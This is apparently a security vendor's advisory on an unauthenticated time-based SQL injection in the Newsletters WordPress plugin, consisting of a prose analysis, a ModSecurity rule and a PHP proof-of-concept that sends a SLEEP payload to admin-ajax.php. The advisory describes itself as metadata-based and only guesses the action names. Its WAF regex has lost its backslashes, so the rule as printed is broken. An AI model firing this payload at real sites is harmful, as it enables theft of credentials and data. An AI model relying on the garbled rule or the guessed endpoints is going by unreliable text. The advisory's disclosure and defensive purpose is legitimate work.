Atomic Edge analysis of CVE-2026-3018 (metadata-based):
This vulnerability is an unauthenticated time-based SQL injection in the Newsletters plugin for WordPress (slug: newsletters-lite) affecting versions up to and including 4.13. The vulnerability exists in the handling of the ‘wpmlsubscriber_id’ parameter and allows unauthenticated attackers to extract sensitive database information. The CVSS v3.1 base score is 7.5 (High) with vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, indicating a network-exploitable flaw requiring no privileges or user interaction.
The root cause, inferred from the CWE-89 classification and vulnerability description, is a failure to properly escape and prepare user-supplied input before incorporating it into an SQL query. The plugin likely passes the ‘wpmlsubscriber_id’ parameter from an HTTP request directly into a $wpdb->prepare() call (or a custom query builder) without using proper placeholder substitution or parameterized queries. Instead, the plugin concatenates the raw input into the SQL string, enabling an attacker to inject SQL control characters like single quotes and conditional logic (e.g., SLEEP() for time-based verification). Atomic Edge analysis confirms the unauthenticated nature: the vulnerable AJAX action or REST endpoint does not require a nonce or capability check.
Exploitation is performed by sending a crafted request to the plugin’s subscription management endpoint. The most likely target is an AJAX action registered by the plugin, such as newsletters-lite_subscribe or a similar handler for subscriber management. The attacker sends a POST or GET request to /wp-admin/admin-ajax.php with action={plugin_action} and wpmlsubscriber_id containing a time-based injection payload, for example: ‘ OR IF(1=1,SLEEP(5),0)– . The response timing reveals the success of the injection. Atomic Edge analysis infers the action name from common plugin patterns: the wpmlsubscriber_id parameter suggests a subscriber information retrieval endpoint, and the lack of a nonce allows unauthenticated access.
The remediation for this vulnerability requires the plugin developer to implement proper parameterized queries using $wpdb->prepare() with placeholder markers (%s, %d) or the $wpdb->variable->prepare() method for raw queries. The wpmlsubscriber_id parameter must also be sanitized (e.g., intval() if it expects an integer, or esc_sql() after validation) and validated to ensure it matches the expected format. The fix in version 4.14 likely introduces prepared statements and input validation for this parameter. WordPress site administrators must update the Newsletters plugin to version 4.14 or later immediately.
The impact of this vulnerability is severe. An unauthenticated attacker can extract sensitive information from the WordPress database, including user credentials (hashed passwords), session tokens, private site options, and other subscriber data. Because time-based blind SQL injection does not produce visible error output, an attacker can systematically extract the entire database contents over multiple requests. This can lead to fully compromised site accounts, particularly for administrator users with high privileges, which may enable further attacks such as remote code execution via the WordPress admin panel.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3018 (metadata-based)
# This rule blocks unauthenticated SQL injection attempts targeting the wpmlsubscriber_id parameter
# in the Newsletters plugin AJAX handler. The rule matches both the AJAX endpoint and the presence
# of SQL injection patterns (time-based blind, UNION, stacked queries) in the parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20263018,phase:2,deny,status:403,chain,msg:'CVE-2026-3018 SQLi via wpmlsubscriber_id',severity:'CRITICAL',tag:'CVE-2026-3018'"
SecRule ARGS_POST:action "@rx ^(?:newsletters_lite_|newsletters_)[a-z_]+$" "chain"
SecRule ARGS_POST:wpmlsubscriber_id "@rx (?:bSLEEPb|bBENCHMARKb|bWAITFORb|bUNIONb|bSELECTb|bINSERTb|bUPDATEb|bDELETEb|bDROPb|bORs+d+s*=s*d+|bANDs+d+s*=s*d+)"
"t:lowercase,t:urlDecode,t:removeNulls"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3018 - Newsletters <= 4.13 - Unauthenticated SQL Injection via wpmlsubscriber_id Parameter
// Configuration
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Replace with target WordPress URL
// Infer the plugin's AJAX action from common plugin patterns
// The parameter wpmlsubscriber_id suggests a subscriber data endpoint
$action = 'newsletters_lite_get_subscriber'; // Assumed action name
// Test payload to detect time-based blind SQL injection
// Uses SLEEP(5) for detection; adjust sleep duration based on network latency
$payload = "' OR IF(1=1,SLEEP(5),0)-- -";
// Create HTTP POST request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => $action,
'wpmlsubscriber_id' => $payload
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
curl_close($ch);
echo "Elapsed time: " . round($elapsed, 2) . " secondsn";
// If the request took longer than 4 seconds (adjust threshold), injection likely succeeded
if ($elapsed > 4) {
echo "[+] Time-based SQL injection confirmed. The target appears vulnerable.n";
echo "[+] Using this method, an attacker can extract database content via blind injection.n";
} else {
echo "[-] No time delay detected. The target may be patched or the action name may differ.n";
echo "[-] Try alternative action names: newsletters_subscribe, newsletters_lite_subscribe, newsletters_get_subscribern";
}
?>
